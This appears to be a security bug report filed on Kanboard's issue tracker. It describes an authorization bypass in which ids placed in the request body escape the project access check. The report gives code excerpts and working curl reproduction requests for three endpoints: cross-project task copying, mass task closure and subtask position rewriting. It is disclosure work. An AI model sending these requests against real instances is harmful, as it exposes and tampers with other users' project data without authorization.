#5894·kanboard

[Bug][Security]: Project authorization is bypassed by identifiers supplied in the request body (3 exploitable instances: cross-project task exfiltration, mass task closure, subtask position write)

Author: AuQuangDucCreated Sep 1, 2026Updated Sep 1, 2026
Labelstriage needed

Bug Summary

Project authorization is bypassed by body-supplied ids - middleware checks only query-string ids, letting any member exfiltrate/close tasks or corrupt subtasks in projects they cannot access (3 verified endpoints).

Description

Bug Summary

ProjectAuthorizationMiddleware — the single place where project-level access is enforced for web controllers — reads project_id/task_id from $_GET only. Several controllers then use identifiers coming from the POST or JSON body in their queries without ever checking that they belong to the authorized project. Any authenticated project member can therefore supply a victim's numeric ids in the body and act on projects they have no access to.

Three verified exploitable instances are included in this one report because they share the same root cause:

  1. Cross-project task exfiltration (read arbitrary tasks of any project) — TaskCreationController::duplicateProjects
  2. Cross-project mass task closure (close every open task in any column/swimlane) — BoardPopoverController::closeColumnTasks
  3. Cross-project subtask position write (corrupt subtask ordering of any task) — SubtaskController::movePosition

Environment

  • Kanboard v1.2.54 (commit 9ce6a5e), official kanboard/kanboard Docker image, PHP 8.4, SQLite, default configuration
  • Verified on a local lab instance during an authorized audit of the open-source code
  • Attacker: regular account (bob), member of exactly one project (AuditProj, id 1). Victim: project SecretProj (id 2) administered by another user; bob has no access to it.

Root cause (shared)

app/Middleware/ProjectAuthorizationMiddleware.php:23-24:

php
$project_id = $this->request->getIntegerParam('project_id');
$task_id    = $this->request->getIntegerParam('task_id');

app/Core/Http/Request.php:80-83getIntegerParam() reads only the query string:

php
public function getIntegerParam($name, $default_value = 0)
{
    return isset($this->get[$name]) && ctype_digit((string) $this->get[$name]) ? (int) $this->get[$name] : $default_value;
}

$this->get is $_GET (Request.php:43); $this->post is $_POST (Request.php:44). Body values reach the controllers through:

  • Request::getValues() (Request.php:104-111) — returns $_POST only when a valid CSRF token is present (so these instances need a fetched token, obtainable by any authenticated session from any page);
  • Request::getJson() (Request.php:153-160) — decodes the raw body with no CSRF token required at all.

Since the middleware never sees body values, an attacker authenticates normally, fetches a CSRF token from any page (or uses a JSON body for none), and puts the victim's ids in the body while keeping their own project_id in the query string — the middleware happily authorizes the attacker's project and the controller acts on the victim's.


Steps to Reproduce

Instance 1 — Cross-project task exfiltration via TaskCreationController::duplicateProjects

Severity: High (full read of arbitrary task content, including comments/subtasks). CWE-639/284. CVSS v3.1 proposed: 8.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.

app/Controller/TaskCreationController.php:103-119 — only the destination projects are checked; the source task_id (body) is never authorized:

php
public function duplicateProjects()
{
    $project = $this->getProject();                      // $_GET project_id → authorized
    $values = $this->request->getValues();               // body: project_ids[] AND task_id

    if (isset($values['project_ids'])) {
        foreach ($values['project_ids'] as $project_id) {
            if (! $this->projectPermissionModel->isUserAllowed($project_id, $this->userSession->getId())) {
                throw new AccessForbiddenException();    // destination checked
            }
            $this->taskProjectDuplicationModel->duplicateToProject($values['task_id'], $project_id);
        }                                                // source task_id NOT checked
    }

Because the middleware only sees project_id=1 (attacker's) on the query string — task_id in the body is invisible — the copy proceeds from any task id.

Repro (task id 4 = "SECRET…" lives in project 2, to which bob has no access):

bash
BASE=http://127.0.0.1:80
# 1. login as bob (GET /login → parse one-time csrf_token → POST credentials to /login/check)
# 2. fetch a session CSRF token from any authenticated page, then:
curl -s -b jar.txt \
  -d "csrf_token=$CSRF&task_id=4&project_ids[]=1" \
  "$BASE/?controller=TaskCreationController&action=duplicateProjects&project_id=1"
# 3. verify — the secret task (full content) now exists in bob's project:
curl -s -u bob:bobpass123 \
  -d '{"jsonrpc":"2.0","method":"getAllTasks","params":{"project_id":1},"id":1}' \
  "$BASE/jsonrpc.php" | grep -o '"title":"[^"]*"'
# → "title":"SECRET ..."

Verified end-to-end in the lab: the victim task is duplicated with its content and a reciprocal task link back to the source id.

Instance 2 — Cross-project mass task closure via BoardPopoverController::closeColumnTasks

Severity: High (integrity + availability on the victim board; no confidentiality impact). CWE-284/639. CVSS v3.1 proposed: 6.5 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.

app/Controller/BoardPopoverController.php:38-43 — query project_id is authorized; column_id/swimlane_id from the body go straight to the model:

php
public function closeColumnTasks()
{
    $project = $this->getProject();
    $values = $this->request->getValues();
    $this->taskStatusModel->closeTasksBySwimlaneAndColumn($values['swimlane_id'], $values['column_id']);

app/Model/TaskStatusModel.php:84-95 — the destructive query is not scoped by project:

php
$task_ids = $this->db
    ->table(TaskModel::TABLE)
    ->eq('swimlane_id', $swimlane_id)
    ->eq('column_id', $column_id)
    ->eq(TaskModel::TABLE.'.is_active', TaskModel::STATUS_OPEN)
    ->findAllByColumn('id');
$this->closeMultipleTasks($task_ids);

Column/swimlane ids are small sequential integers shared across projects, so they are trivially enumerable.

Repro (column 5 / swimlane 2 belong to the victim project):

bash
curl -s -b jar.txt \
  -d "csrf_token=$CSRF&column_id=5&swimlane_id=2" \
  "$BASE/?controller=BoardPopoverController&action=closeColumnTasks&project_id=1"

Verified in the lab: all open tasks of the victim column/swimlane flipped is_active 1→0 immediately.

Instance 3 — Cross-project subtask position write via SubtaskController::movePosition

Severity: Medium (integrity on victim boards; scriptable across all numeric subtask ids). CWE-639/284. CVSS v3.1 proposed: 4.3 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L.

app/Controller/SubtaskController.php:210-222 — the task is authorized (query string), the subtask comes from the JSON body and is never checked; a JSON body needs no CSRF token:

php
public function movePosition()
{
    $task = $this->getTask();                    // task_id from $_GET, authorized
    $values = $this->request->getJson();         // body: subtask_id, position

    if (! empty($values) && $this->helper->user->hasProjectAccess('SubtaskController', 'movePosition', $task['project_id'])) {
        $result = $this->subtaskPositionModel->changePosition($task['id'], $values['subtask_id'], $values['position']);

app/Model/SubtaskPositionModel.php:24-41 — the range guard uses the authorized task, but the final UPDATE keys on the body id alone:

php
if ($position < 1 || $position > $this->db->table(SubtaskModel::TABLE)->eq('task_id', $task_id)->count()) {
    return false;
}
...
$results[] = $this->db->table(SubtaskModel::TABLE)
                      ->eq('id', $subtask_id)        // ANY subtask id
                      ->update(array('position' => $position));

Repro (attacker's own task 1 has 1 subtask so the guard passes; subtask 6 belongs to victim task 4 in project 2):

bash
curl -s -b jar.txt -H "Content-Type: application/json" \
  -d '{"subtask_id": 6, "position": 1}' \
  "$BASE/?controller=SubtaskController&action=movePosition&task_id=1&project_id=1"
# → {"result":true}; subtask 6's position is rewritten

Verified in the lab: repeated requests moved the victim's subtask through positions 1→2→3.


Expected Behavior

Identifiers that determine which data is acted upon must be resolved to their owning project and authorized against it, regardless of whether they arrive via query string, form body, or JSON body.

Actual Behavior

Authorization is based solely on query-string ids; body ids act on arbitrary projects.

Version

v1.2.54

Database

SQLite

PHP Version

No response

Browser

No response

Operating System

No response

Relevant Logs or Error Output

bash

Additional Context

No response

Checklist

  • I have searched existing issues to ensure this bug hasn't been reported before.
  • I verified that the problem is not caused by a plugin. Please report the issue to the plugin author if applicable.